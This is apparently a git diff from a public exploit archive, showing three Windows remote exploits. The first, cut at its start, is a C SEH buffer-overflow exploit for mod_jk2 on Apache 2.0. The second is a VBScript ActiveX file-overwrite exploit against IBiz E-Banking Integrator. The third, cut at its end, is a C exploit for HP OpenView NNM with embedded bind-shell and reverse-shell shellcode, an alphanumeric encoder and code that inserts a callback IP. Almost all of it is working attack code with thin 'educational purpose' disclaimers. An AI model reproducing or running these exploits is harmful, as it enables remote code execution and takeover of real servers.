+	WSAStartup(MAKEWORD(2,0), &wsa);
+	if(argc<2)
+	{
+		usage(argv[0]);		
+		return -1;
+	}
+
+	// set defaults
+	port=80;
+	itarget=-1;
+	sh=0;
+	// ------------	
+	
+	while((c = getopt(argc, argv, "h:p:"))!= EOF)
+	{
+		switch (c)
+		{
+			case 'h':
+				remotehost=optarg;
+				break; 				
+			case 'p':
+				sscanf(optarg, "%d", &port);
+				break;			
+			default:
+	            usage(argv[0]);
+				WSACleanup();
+			return -1;
+		}		 
+	}	
+	if(remotehost == NULL) remotehost=default_remotehost;
+	memset(temp1,0,sizeof(temp1));
+	memset(temp2,0,sizeof(temp2));
+	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
+	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
+	sprintf(temp2, "%d", port);
+	memset(temp1,0,sizeof(temp1));
+	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
+	printf(" #  Port    : %s%s# \n", temp2, temp1);
+	memset(temp1,0,sizeof(temp1));	
+	memset(temp2,0,sizeof(temp2));
+	sprintf(temp2, "%s", shellcodes[sh].name );
+	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
+	printf(" #  Payload : %s%s# \n", temp2, temp1);	
+
+
+	printf(" # ------------------------------------------------------------------- # \n");
+	fflush(stdout);
+	printf("   [+] Checking if server is online\n");
+	fflush(stdout);
+	s=do_connect(remotehost, port);   
+	if(s==-1)
+	{
+		printf("   [-] Server is OFFLINE\n");
+		end_logo();
+		return 0;
+	}
+	closesocket(s);
+	printf("   [+] Server is ONLINE\n");
+
+	x = get_version(remotehost, port, &itarget);
+	if(x<0)
+	{
+		printf("   [-] Cannot exploit due to errors\n");
+		WSACleanup();
+		end_logo();
+		return -1;		
+	}
+		
+		
+	unsigned char buf[10000];
+	unsigned int len;
+	memset(buf,0,sizeof(buf));
+	fflush(stdout);
+	make_buffer(buf, &len, itarget, sh);
+
+	printf("   [+] Attacking buffer constructed\n");
+
+	if(send_buffer(buf, len, remotehost,port)==-1)
+	{
+		printf("   [-] Cannot exploit server %s\n", remotehost);
+		end_logo();
+		WSACleanup();
+		return -1;
+	}
+
+	printf("   [+] Buffer sent\n");
+	printf("   [+] Connect to %s:%d\n", remotehost, 9999);
+		
+	end_logo();
+	WSACleanup();
+	return 0;
+}
+
+
+
+SOCKET do_connect (char *remotehost, int port)
+{
+	static struct hostent *host;
+	static struct sockaddr_in addr;
+	SOCKET s;	
+	host = gethostbyname(remotehost);
+	if (!host)
+	{
+		perror("   [-] gethostbyname() failed");
+		return -1;
+	}
+	addr.sin_addr = *(struct in_addr*)host->h_addr;
+
+	s = socket(PF_INET, SOCK_STREAM, 0);
+	if (s == -1)
+	{
+		closesocket(s);
+		perror("socket() failed");
+		return -1;
+	}
+	addr.sin_port = htons(port);
+	addr.sin_family = AF_INET;
+	if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
+	{
+		closesocket(s);     
+		return -1;
+	}
+	return s;
+}
+
+
+
+int get_version(char * remotehost, int port, int * target)
+{
+	
+	char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];
+	int bytes,j,x;
+	SOCKET sock;
+
+	memset(bufmax,0,sizeof(bufmax));
+	memset(WebBanner,0,sizeof(WebBanner));
+	memset(Version,0,sizeof(Version));
+	memset(ModJK,0,sizeof(ModJK));
+	sock = do_connect(remotehost, port);
+
+	if (sock == -1) return -1;
+	send(sock, "GET /a.html HTTP/1.0\r\n\r\n",(int)strlen("GET /a.html HTTP/1.0\r\n\r\n"),0);
+	
+	if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;
+	bufmax[sizeof(bufmax)-1]=0;
+
+	if((lp=strstr(bufmax,"Server:"))==NULL) return -1;
+	if((lp2=strstr(lp,"\r\n"))==NULL) return -1;
+
+	strncpy(WebBanner, lp, lp2-lp);
+	if((lp=strstr(WebBanner,"Win32"))==NULL) 
+	{
+		printf("   [-] OS is not a Win32\n");
+		return -1;
+	}
+
+	if((lp=strstr(WebBanner,"Apache/"))==NULL)
+	{
+		printf("   [-] No Apache\n");
+		return -1;
+	}
+	if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;
+	lp+=strlen("Apache/");
+	if((lp2=strstr(lp," "))==NULL) return -1;
+
+	strncpy(Version, lp, lp2-lp);
+
+	printf("   [+] Version of Apache is %s\n", Version);
+
+	x=0;
+	for(j=0; targets[j].t!=0;j++)
+	{
+		if(strstr(targets[j].t,Version)!=NULL)
+		{			
+			x=1;
+			break;
+		}
+	}
+	if(x==0)
+	{
+		printf("   [-] This version of Apache is UNSUPPORTED\n");
+		return -1;
+	}
+	printf("   [+] This version of Apache is SUPPORTED\n");
+
+	strncpy(WebBanner, lp, lp2-lp);
+
+	if((lp=strstr(WebBanner,"mod_jk2/"))==NULL) 
+	{
+		printf("   [-] No mod_jk2\n");
+		return -1;
+	}
+	if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);
+
+	strncpy(ModJK, lp, lp2-lp);
+
+	printf("   [+] mod_jk2 is %s\n", ModJK);
+	x=0;
+	for(j=0; targets[j].t!=0;j++)
+	{
+		if(strstr(targets[j].t,ModJK)!=NULL)
+		{
+			*target=j;
+			x=1;
+			break;
+		}
+	}
+	if(x==0)
+	{
+		printf("   [-] This version of mod_jk2 is UNSUPPORTED\n");
+		return -1;
+	}
+	printf("   [+] This version of mod_jk2 is SUPPORTED\n");
+	return 0;
+}
+
+
+void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)
+{
+	memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
+	*fshlength = shellcodes[sh].length;	
+}
+
+void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)
+{
+		// prepare shellcode
+	unsigned char fsh[10000];	
+	unsigned int fshlength;
+	memset(fsh, 0, sizeof(fsh));	
+	prepare_shellcode(fsh, &fshlength, sh);
+	// -----------------
+
+		// make buffer
+	unsigned char * cp=buf;
+
+		// begin of the HTTP request
+	memcpy(cp, "GET / HTTP/1.0\r\nHost: ", strlen("GET / HTTP/1.0\r\nHost: ") );		
+	cp+=strlen((char *)cp);
+	
+		// jff
+	*cp++='\x90';
+	*cp++='\x90';
+	*cp++='\x90';
+	*cp++='\x90';
+
+		// overflowing
+	memset(cp, '\x41', 5001);
+
+		// put the shellcode
+	memcpy(cp, fsh, fshlength);
+	cp+=1271;
+
+		// calculating backward jump
+	int jmp_bytes=0xffffffff - (1275);
+
+		// putting backward jump
+	*cp++ = '\xe9';	
+	*cp++ = (char)((jmp_bytes      ) & 0xff);
+	*cp++ = (char)((jmp_bytes >>  8) & 0xff);
+	*cp++ = (char)((jmp_bytes >> 16) & 0xff);
+	*cp++ = (char)((jmp_bytes >> 24) & 0xff);
+
+		// next SEH record and back jump
+	*cp++='\x90';
+	*cp++='\x90';
+	*cp++='\xeb';
+	*cp++='\xf7';
+
+		// replace SEH
+	*cp++ = (char)((targets[itarget].ret      ) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
+
+		// trigger exception
+	cp+=3000;			
+
+		// copy the last part of the request
+	memcpy(cp, "\r\n\r\n", strlen("\r\n\r\n") );		
+	cp+=strlen((char *)cp);
+
+}
+
+
+
+int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)
+{	
+	SOCKET sock;
+
+	sock = do_connect(remotehost, port);
+	
+	if (sock<0) return -1;
+	if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;
+	
+	closesocket(sock);
+	return 1;
+}
+
+
+
+
+
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring)
+{
+	static char *next = NULL;
+	if (optind == 0)
+		next = NULL;
+
+	optarg = NULL;
+
+	if (next == NULL || *next == '\0')
+	{
+		if (optind == 0)
+			optind++;
+
+		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
+		{
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		if (strcmp(argv[optind], "--") == 0)
+		{
+			optind++;
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		next = argv[optind];
+		next++;		// skip past -
+		optind++;
+	}
+
+	char c = *next++;
+	char *cp = strchr(optstring, c);
+
+	if (cp == NULL || c == ':')
+		return '?';
+
+	cp++;
+	if (*cp == ':')
+	{
+		if (*next != '\0')
+		{
+			optarg = next;
+			next = NULL;
+		}
+		else if (optind < argc)
+		{
+			optarg = argv[optind];
+			optind++;
+		}
+		else
+		{
+			return '?';
+		}
+	}
+
+	return c;
+}
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+
+
+
+
+
+void usage(char * s)
+{	
+	printf("\n");
+	printf("    Usage: %s -h <host> -p <port>\n", s);
+	printf("   -------------------------------------------------------------------\n");
+	printf("    Arguments:\n");
+	printf("      -h ........ host to attack\n");
+	printf("      -p ........ port to use\n");	
+	printf("\n");
+	printf("    Supported mod_jk versions:\n");
+	for(int j=0; targets[j].t!=0;j++)
+	{
+		printf("      %d. %s\n",j+1, targets[j].t);
+	}					
+	printf("\n");
+	printf("    Execution: %s\n\n", shellcodes[0].name);			
+	end_logo();	
+}
+
+void logo()
+{
+	printf("\n\n");
+	printf(" ####################################################################### \n");	
+	printf(" #     ____                 __  _                  ______  __    _____ #\n");
+	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
+	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
+	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
+	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
+	printf(" #                                 crew                                #\n");
+	printf(" ####################################################################### \n");	
+	printf(" #  Exploit : mod_jk2 v2.0.2 for Apache 2.0                            # \n");
+	printf(" #  Author  : Heretic2                                                 # \n");
+	printf(" #  THANKS  : IOActive and The Metasploit Project                      # \n");
+	printf(" #  Research: IOActive Security Advisory                               # \n");
+	printf(" #  Version : 1.0                                                      # \n");
+	printf(" #  System  : Windows ALL                                              # \n");
+	printf(" #  Date    : 01.03.2008 - 02.03.2008                                  # \n");
+	printf(" # ------------------------------------------------------------------- # \n");
+}
+
+void end_logo()
+{
+	printf(" # ------------------------------------------------------------------- # \n");
+	printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n");	
+	printf(" ####################################################################### \n\n");
+}
+
+// milw0rm.com [2008-03-31]
diff --git a/platforms/windows/remote/5416.html b/platforms/windows/remote/5416.html
index e6d1500e5..2a0ec8188 100755
--- a/platforms/windows/remote/5416.html
+++ b/platforms/windows/remote/5416.html
@@ -1,29 +1,29 @@
---------------------------------------------------------------------
- IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method
-
- Author: shinnai
- mail: shinnai[at]autistici[dot]org
- site: http://shinnai.altervista.org
-
- This was written for educational purpose. Use it at your own risk.
- Author will be not responsible for any damage.
-
- More info at http://shinnai.altervista.org
---------------------------------------------------------------------
-<object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object>
-
-<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
-
-<script language='vbscript'>
- Sub tryMe()
-  On Error Resume Next
-   test.WriteOFXDataFile "C:\WINDOWS\system_.ini"
-   If Err.Number <> 0 Then
-    MsgBox "Something went wrong!"
-   Else
-    MsgBox "Exploit Completed!"
-   End If
- End Sub
-</script>
-
-# milw0rm.com [2008-04-09]
+--------------------------------------------------------------------
+ IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method
+
+ Author: shinnai
+ mail: shinnai[at]autistici[dot]org
+ site: http://shinnai.altervista.org
+
+ This was written for educational purpose. Use it at your own risk.
+ Author will be not responsible for any damage.
+
+ More info at http://shinnai.altervista.org
+--------------------------------------------------------------------
+<object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object>
+
+<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
+
+<script language='vbscript'>
+ Sub tryMe()
+  On Error Resume Next
+   test.WriteOFXDataFile "C:\WINDOWS\system_.ini"
+   If Err.Number <> 0 Then
+    MsgBox "Something went wrong!"
+   Else
+    MsgBox "Exploit Completed!"
+   End If
+ End Sub
+</script>
+
+# milw0rm.com [2008-04-09]
diff --git a/platforms/windows/remote/5445.cpp b/platforms/windows/remote/5445.cpp
index a0577a66c..41d00c2d6 100755
--- a/platforms/windows/remote/5445.cpp
+++ b/platforms/windows/remote/5445.cpp
@@ -1,683 +1,683 @@
-/* Dreatica-FXP crew
-* 
-* ----------------------------------------
-* Target         : HP OpenView Network Node Manager v7.5
-* ----------------------------------------
-* Exploit        : HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Buffer Overflow Exploit
-* Exploit date   : 07.04.2008
-* Exploit writer : Heretic2 (heretic2x@gmail.com)
-* OS             : Windows ALL 
-* Crew           : Dreatica-FXP
-* Location       : http://www.milw0rm.com/
-* ----------------------------------------
-* Info           : Vulnerabilty was found by Luigi Auriemma. Sending more than 524 bytes 
-*                  to the 2954 port can overflow the EIP register. Too lazy to research the whole 
-*                  array of badchars, so simply used the alpahnumeric shellcodes. 
-*                  0x00 0x0a 0x20 are bad chars, but i think there are few more.
-*                  I only got the ret address for the 7.5.1 version, but 7.5.3 is also vulnerable. 
-*                  Using the 2954 port i was not able to determine exact version of HP OV
-*                  which runs on the server.
-* ----------------------------------------
-* Thanks to:
-*		1. Luigi Auriemma          ( http://aluigi.org   <aluigi [at] autistici.org> )
-*		2. The Metasploit project  ( http://metasploit.com                           ) 
-*       3. ALPHA 2: Zero-tolerance ( <skylined [at] edup.tudelft.nl>                 ) 
-*		4. Dreatica-FXP crew       (                                                 )
-************************************************************************************
-* This was written for educational purpose only. Use it at your own risk. Author will be not be 
-* responsible for any damage, caused by that code.
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <winsock2.h>
-#include <time.h>
-
-#pragma comment(lib,"ws2_32")
-
-
-void usage(char * s);
-void logo();
-void end_logo();
-void print_info_banner_line(const char * key, const char * val);
-
-void extract_ip_and_port( char * &remotehost, int * port, char * str);
-int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx);
-
-int hr2_connect(char * remotehost, int port, int timeout);
-int hr2_udpconnect(char * remotehost, int port,  struct sockaddr_in * addr, int timeout);
-int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout);
-int execute(struct _buf * abuf, char * remotehost, int port);
-
-struct _buf 
-{
-	unsigned char * ptr;
-	unsigned int size;
-};
-int construct_shellcode(int sh, struct _buf * shf, int target, char * reverseip, int reverseport);
-int construct_buffer(struct _buf * shf, int target, struct _buf * abuf);
-
-
-
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring);
-char	*optarg;		// global argument pointer
-int		optind = 0, opterr; 	// global argv index
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-struct {
-	const char * name;
-	int length;
-	char *shellcode;	
-}shellcodes[]={ 	
-	{  "BindShell on 9998 [                    ]", 
-		// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
-		/*
-		* windows/shell_bind_tcp - 
-		* http://www.metasploit.com
-		* Encoder: generic/none
-		*/	
-		696,
-		"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
-		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41"
-		"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
-		"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x43"
-		"\x5a\x6a\x4b\x70\x4d\x6b\x58\x59\x69\x4b\x4f\x4b\x4f\x4b\x4f\x53"
-		"\x50\x4c\x4b\x32\x4c\x47\x54\x77\x54\x4c\x4b\x63\x75\x75\x6c\x6e"
-		"\x6b\x31\x6c\x57\x75\x53\x48\x76\x61\x7a\x4f\x6e\x6b\x32\x6f\x56"
-		"\x78\x6c\x4b\x61\x4f\x51\x30\x56\x61\x78\x6b\x32\x69\x6c\x4b\x44"
-		"\x74\x4c\x4b\x46\x61\x38\x6e\x74\x71\x6b\x70\x6f\x69\x4e\x4c\x6f"
-		"\x74\x4b\x70\x51\x64\x77\x77\x39\x51\x78\x4a\x64\x4d\x45\x51\x59"
-		"\x52\x58\x6b\x4c\x34\x65\x6b\x70\x54\x77\x54\x64\x68\x71\x65\x7a"
-		"\x45\x4e\x6b\x73\x6f\x45\x74\x53\x31\x5a\x4b\x33\x56\x4c\x4b\x56"
-		"\x6c\x52\x6b\x6e\x6b\x33\x6f\x35\x4c\x67\x71\x7a\x4b\x74\x43\x36"
-		"\x4c\x6e\x6b\x6b\x39\x30\x6c\x64\x64\x55\x4c\x33\x51\x79\x53\x66"
-		"\x51\x6b\x6b\x51\x74\x6c\x4b\x70\x43\x56\x50\x4c\x4b\x51\x50\x54"
-		"\x4c\x6c\x4b\x34\x30\x35\x4c\x6c\x6d\x4c\x4b\x53\x70\x63\x38\x71"
-		"\x4e\x72\x48\x4c\x4e\x70\x4e\x64\x4e\x58\x6c\x72\x70\x59\x6f\x69"
-		"\x46\x51\x76\x70\x53\x31\x76\x50\x68\x35\x63\x56\x52\x31\x78\x52"
-		"\x57\x73\x43\x74\x72\x71\x4f\x56\x34\x69\x6f\x4e\x30\x35\x38\x7a"
-		"\x6b\x7a\x4d\x6b\x4c\x35\x6b\x70\x50\x49\x6f\x68\x56\x71\x4f\x6e"
-		"\x69\x4d\x35\x30\x66\x4f\x71\x5a\x4d\x45\x58\x75\x52\x33\x65\x32"
-		"\x4a\x77\x72\x79\x6f\x7a\x70\x71\x78\x79\x49\x77\x79\x6c\x35\x4e"
-		"\x4d\x33\x67\x49\x6f\x6b\x66\x50\x53\x62\x73\x53\x63\x46\x33\x50"
-		"\x53\x31\x53\x51\x43\x43\x73\x70\x53\x4b\x4f\x6a\x70\x33\x56\x70"
-		"\x68\x74\x67\x64\x4e\x63\x56\x31\x43\x4d\x59\x4b\x51\x4d\x45\x33"
-		"\x58\x4c\x64\x36\x7a\x70\x70\x4b\x77\x56\x37\x6b\x4f\x4e\x36\x73"
-		"\x5a\x56\x70\x70\x51\x70\x55\x4b\x4f\x4a\x70\x73\x58\x4d\x74\x4c"
-		"\x6d\x76\x4e\x38\x69\x66\x37\x6b\x4f\x6b\x66\x52\x73\x50\x55\x4b"
-		"\x4f\x58\x50\x65\x38\x4b\x55\x43\x79\x4f\x76\x62\x69\x51\x47\x59"
-		"\x6f\x38\x56\x42\x70\x50\x54\x32\x74\x51\x45\x79\x6f\x78\x50\x6e"
-		"\x73\x31\x78\x79\x77\x52\x59\x4f\x36\x73\x49\x62\x77\x4b\x4f\x78"
-		"\x56\x61\x45\x4b\x4f\x5a\x70\x52\x46\x50\x6a\x71\x74\x50\x66\x52"
-		"\x48\x61\x73\x52\x4d\x4b\x39\x6b\x55\x51\x7a\x72\x70\x76\x39\x77"
-		"\x59\x5a\x6c\x6c\x49\x59\x77\x42\x4a\x70\x44\x4c\x49\x58\x62\x50"
-		"\x31\x49\x50\x6b\x43\x4c\x6a\x6b\x4e\x43\x72\x34\x6d\x4b\x4e\x51"
-		"\x52\x44\x6c\x5a\x33\x4e\x6d\x52\x5a\x35\x68\x4e\x4b\x4c\x6b\x4e"
-		"\x4b\x30\x68\x52\x52\x59\x6e\x6f\x43\x32\x36\x4b\x4f\x42\x55\x70"
-		"\x44\x6b\x4f\x6b\x66\x43\x6b\x71\x47\x72\x72\x43\x61\x70\x51\x52"
-		"\x71\x70\x6a\x77\x71\x72\x71\x36\x31\x42\x75\x72\x71\x4b\x4f\x4a"
-		"\x70\x75\x38\x6c\x6d\x58\x59\x47\x75\x7a\x6e\x52\x73\x59\x6f\x7a"
-		"\x76\x30\x6a\x69\x6f\x49\x6f\x70\x37\x4b\x4f\x78\x50\x4e\x6b\x53"
-		"\x67\x59\x6c\x4f\x73\x38\x44\x70\x64\x59\x6f\x4b\x66\x52\x72\x49"
-		"\x6f\x48\x50\x43\x58\x7a\x50\x6f\x7a\x45\x54\x53\x6f\x70\x53\x4b"
-		"\x4f\x6a\x76\x69\x6f\x5a\x70\x41"
-
-	},
-	{  "ReverseShell      [ args: -R <ip:port> ]", 
-		287,
-		/*
-		* windows/shell_reverse_tcp - 287 bytes
-		* http://www.metasploit.com
-		* Encoder: generic/none	
-		*/	
-		"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
-		"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
-		"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
-		"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
-		"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
-		"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
-		"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
-		"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
-		"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
-		"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
-		"\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\x7f\x00\x00\x01\x66"
-		"\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff"
-		"\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a"
-		"\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95"
-		"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68"
-		"\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
-		"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff"
-		"\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04"
-		"\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6"
-		"\xff\xd0"
-	},
-	{NULL, 0, NULL}
-};
-
-
- 
-struct _target{
-	const char *t ;
-	unsigned long ret, fix ;
-} targets[]=
-{	
-	{"HP OpenView Network Node Manager  v7.5.1", 0x5a01d78d, 0x5a04d3d0 },
-	{"DOS/Crash/Debug/Test/Fun",                 0x41414141, 0x41414141 },
-	{NULL,                                       0x00000000, 0x00000000 }
-};
-
-
-
-
-// memory for buffers
-unsigned char payloadbuffer[10000], a_buffer[10000];
-long dwTimeout=5000;
-int timeout=5000;
-
-
-// alphanumeric decoder took from "ALPHA 2: Zero-tolerance." code
-char alphanum_decoder[] = 
-		"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
-		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41"
-		"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
-		"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49";
-// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
-int alphanumeric_exec(char *to_encode, int len, char *encoded, int * rlen )
-{
-	int   i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode);
-	char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; // mixed chars
-	char temp[10];
-	memset(temp, 0 , sizeof(temp));	
-	srand((int)clock());  
-	for(ii=0;ii<len;ii++)
-	{
-		input = to_encode[ii];
-		A = (input & 0xf0) >> 4;
-		B = (input & 0x0f);
-		F = B;
-		i = rand() % ((int)strlen(valid_chars));
-		while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); }
-		E = valid_chars[i] >> 4;
-		D = (A^E);
-		i = rand() % ((int)strlen(valid_chars));
-		while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); }
-		C = valid_chars[i] >> 4;
-		sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F);
-		encoded[strlen(encoded)]=temp[0];
-		encoded[strlen(encoded)]=temp[1];
-	}
-	encoded[strlen(encoded)]='A';
-	*rlen=(int)strlen(encoded);
-	return 1;
-
-}
-
-
-int main(int argc, char **argv)
-{
-	char c,*remotehost=NULL,*file=NULL,*reverseip=NULL,*url=NULL,temp1[100];
-	int HAVE_R=0,HAVE_U=0,sh,port=2954,itarget=0,reverseport=9999;
-	struct _buf  fshellcode, sbuffer;
-
-	logo();
-	if(argc<2)
-	{
-		usage(argv[0]);		
-		return -1;
-	}
-
-	WSADATA wsa;
-	WSAStartup(MAKEWORD(2,0), &wsa);
-	// set defaults
-	sh=0;	
-	// ------------	
-	
-	while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF)
-	{
-		switch (c)
-		{
-			case 'h':
-				if (strchr(optarg,':')==NULL)
-				{
-					remotehost=optarg;
-				}else 
-				{
-					sscanf(strchr(optarg,':')+1, "%d", &port);
-					remotehost=optarg;
-					*(strchr(remotehost,':'))='\0';
-				}
-				break; 				
-			case 't':
-				sscanf(optarg, "%d", &itarget);
-				itarget--;
-				break;
-			case 'R':
-				HAVE_R=1;
-				if (strchr(optarg,':')==NULL)
-				{
-					reverseip=optarg;
-				}else 
-				{
-					sscanf(strchr(optarg,':')+1, "%d", &reverseport);
-					reverseip=optarg;
-					*(strchr(reverseip,':'))='\0';
-				}
-				break;			
-			case 'T':				
-				sscanf(optarg, "%ld", &dwTimeout);
-				break; 			
-			default:
-	            usage(argv[0]);
-				WSACleanup();
-			return -1;
-		}		
-	}	
-	sh=HAVE_R;
-
-	if(remotehost == NULL)
-	{
-		printf("   [-] Please enter remotehost\n");
-		end_logo();
-		WSACleanup();
-		return -1;
-	}
-	print_info_banner_line("Host", remotehost);
-	sprintf(temp1, "%d", port);
-	print_info_banner_line("Port", temp1);
-	print_info_banner_line("Payload", shellcodes[sh].name);
-
-	if(sh==0)
-	{		
-		sprintf(temp1, "%d", 9998);
-		print_info_banner_line("BINDPort", temp1);
-	}
-	if(sh==1)
-	{
-		print_info_banner_line("CB IP", reverseip);
-		sprintf(temp1, "%d", reverseport);
-		print_info_banner_line("CB port", temp1);
-	}
-	printf(" # ------------------------------------------------------------------- # \n");
-	fflush(stdout);
-
-
-	memset(payloadbuffer, 0, sizeof(payloadbuffer));
-	fshellcode.ptr=payloadbuffer;
-	fshellcode.size=0;	
-
-	memset(a_buffer, 0, sizeof(a_buffer));
-	sbuffer.ptr=a_buffer;
-	sbuffer.size=0;
-
-	if(!construct_shellcode(sh, &fshellcode, itarget, reverseip, reverseport))
-	{
-		end_logo();
-		WSACleanup();
-		return -1;
-	}
-
-	printf("   [+] Payload constructed\n");
-	
-	if(!construct_buffer(&fshellcode, itarget, &sbuffer))
-	{
-		printf("   [-] Buffer not constructed\n");
-		end_logo();
-		WSACleanup();
-		return -1;
-	}
-	printf("   [+] Final buffer constructed\n");
-	
-
-	if(!execute(&sbuffer, remotehost, port))
-	{
-		printf("   [-] Buffer not sent\n");
-		end_logo();
-		WSACleanup();
-		return -1;
-	}
-	printf("   [+] Buffer sent\n");
-	
-	end_logo();
-	WSACleanup();
-	return 0;
-}
-
-int construct_shellcode(int sh, struct _buf * shf, int target, char * rerverseip, int reverseport)
-{
-	int x;
-	char fsh[1000];
-
-	memcpy(shf->ptr, shellcodes[sh].shellcode, shellcodes[sh].length);
-	shf->size=shellcodes[sh].length;
-	if(sh==1)
-	{		
-		memset(shf->ptr,0,shf->size+1);
-		memset(fsh,0,sizeof(fsh));
-		memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
-		
-
-		static struct hostent *host = gethostbyname(rerverseip);
-		static struct sockaddr_in addr;
-		if(host == NULL)
-		{
-			printf("   [-] Reverse ip/hostanme is invalid\n");
-			return 0;
-		}
-
-		addr.sin_addr = *(struct in_addr*)host->h_addr;
-		fsh[160] = (addr.sin_addr.S_un.S_un_b.s_b1) ;
-		fsh[161] = (addr.sin_addr.S_un.S_un_b.s_b2) ;
-		fsh[162] = (addr.sin_addr.S_un.S_un_b.s_b3) ;
-		fsh[163] = (addr.sin_addr.S_un.S_un_b.s_b4) ;
-        
-		fsh[166] = ((reverseport >> 8) & 0xff) ;
-		fsh[167] = ((reverseport     ) & 0xff) ;	
-		
-		memcpy(shf->ptr,alphanum_decoder,sizeof(alphanum_decoder)-1);
-		alphanumeric_exec(fsh, shellcodes[sh].length, (char*)(shf->ptr+sizeof(alphanum_decoder)-1), &x);
